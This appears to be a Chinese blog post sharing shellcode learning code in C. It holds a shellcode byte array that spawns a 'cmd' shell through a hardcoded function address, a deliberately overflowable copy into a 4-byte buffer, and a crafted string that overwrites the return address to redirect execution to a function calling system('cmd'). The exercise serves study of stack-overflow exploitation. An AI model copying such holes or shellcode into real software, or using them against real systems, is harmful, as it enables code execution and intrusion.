Shellcode学习代码

#include <stdio.h>
/*
void test()
{
 // sub esp, 44h
 int b;
 int *k=&b;
 k+=22;
 (*k) = 88;
 printf("aaaaaaaaaaaaa %d k = %#0x/n", (*k), k);
/* __asm
 {
  mov DWORD PTR [ebp-4], 'a'
  mov DWORD PTR [ebp+54h], 'a'
 }*/
/* printf("The address of b in test is %#0x/n", &b);
}
void taa()
{
 int *k;
 int *j;
 int *i;
 k = (int*)malloc(sizeof(int));
 j = (int*)malloc(sizeof(int));
 i = (int*)malloc(sizeof(int));
 printf("The address of k in taa is %#0x/n", k);
 printf("The address of j in taa is %#0x/n", j);
 printf("The address of i in taa is %#0x/n", i);
}*/
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";

void mystrcpy(char *dst, const char *src)
{
 while ((*src)!=NULL)
 {
  *dst = *src;
  dst++;
  src++;
 }
 *dst=NULL;
}
void ccc(char *a)
{
 char ta[4];
 mystrcpy(ta, a);
}

void kkk()
{
 system("cmd");
}

void main()
{
 kkk();
 printf("Address of kkk is %#0x/n", kkk);;
// ccc("/x77/x77/x77/x77/x30/x10/x40/x00");
 ccc("abcd/x50/x10/x40/x00efghij/x50/x10/x40/x00klmnopqrstuvwxyz123456789011121314151617181920");
// kkk();
// printf(aaaaa);

 // 0x406030
 // 12ff7c
/* char c=10;
 printf("The address of main is %#0x/n", main);
 printf("The address of test is %#0x/n", test);
 taa();
 // 12ff24
 test();
*/
 
// printf("The address of c in main is %#0x/n", &c);
// printf("The value of c in main is %d/n", c);
}
 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值